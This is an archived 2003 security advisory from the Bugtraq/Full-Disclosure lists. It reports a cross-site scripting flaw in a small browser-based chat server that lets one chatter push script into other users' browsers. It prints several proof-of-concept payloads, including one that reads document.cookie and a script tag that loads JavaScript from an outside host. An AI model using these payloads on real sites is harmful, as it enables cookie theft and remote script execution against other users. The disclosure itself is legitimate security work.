bugtraq - CHAT SERVER

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <Law11-OE50pOEuusqlf00023e08@hotmail.com>
Date: Fri, 15 Aug 2003 15:40:09 -0700
From: "morning_wood" <se_cur_ity@...mail.com>
To: <full-disclosure@...ts.netsys.com>, <bugtraq@...urityfocus.com>
Subject: CHAT SERVER - XSS push


------------------------------------------------------------------
          - EXPL-A-2003-019 exploitlabs.com Advisory 019
------------------------------------------------------------------
                             -= CHAT SERVER =-




exploitlabs
Aug 08, 2003


Product:
--------
Chat Server ( by author of "Sleuth 1.4" )
http://sandsprite.com/codestuff.asp

download and vb6 sources:
http://sandsprite.com/CodeStuff/chatserver.zip


Vunerability(s):
----------------
1. XSS ( push through )


Description of product:
-----------------------
Web browser based chatserver similar
 to the Magma Chatserver that powers huge
 sights like chatropolis.com. This will show
 just how they can stream text into a browser
 and display it realtime. Have an unlimited
 number of people all chatting at once using
 only their web browsers :) pretty neat

chatserver is an server application
and runs by default on port 80

note: chatropolis.com is not affected


VUNERABILITY / EXPLOIT
======================

1. XSS is able to be "pushed" from one
chatter to another, with the results being
"forced" into any other chatters browser
for execution.

examples:

<script>alert("You are vunerable to xss ")</script>

<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SC
RIPT>

<iframe src="http://whatismyip.com"></iframe>

<script language="JavaScript"
src="http://www.astalavista.com/backend/news.js"
type="text/javascript"></script>


note: the last one is remote code.

the vunerability exists in the sample provided and after compiling from
the provided sources.


Local:
------
yes


Remote:
-------
yes

Vendor Fix:
-----------
No fix on 0day


Vendor Contact:
---------------
Concurrent with this advisory
dzzie@...oo.com

Vendor Response:
----------------
  :)



Credits:
--------

Donnie Werner
morning_wood@...labs.com
http://e2-labs.com
http://exploitlabs.com


original advisory may be obtained at
http://exploitlabs.com/files/advisories/EXPL-A-2003-019-chatserver.txt


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html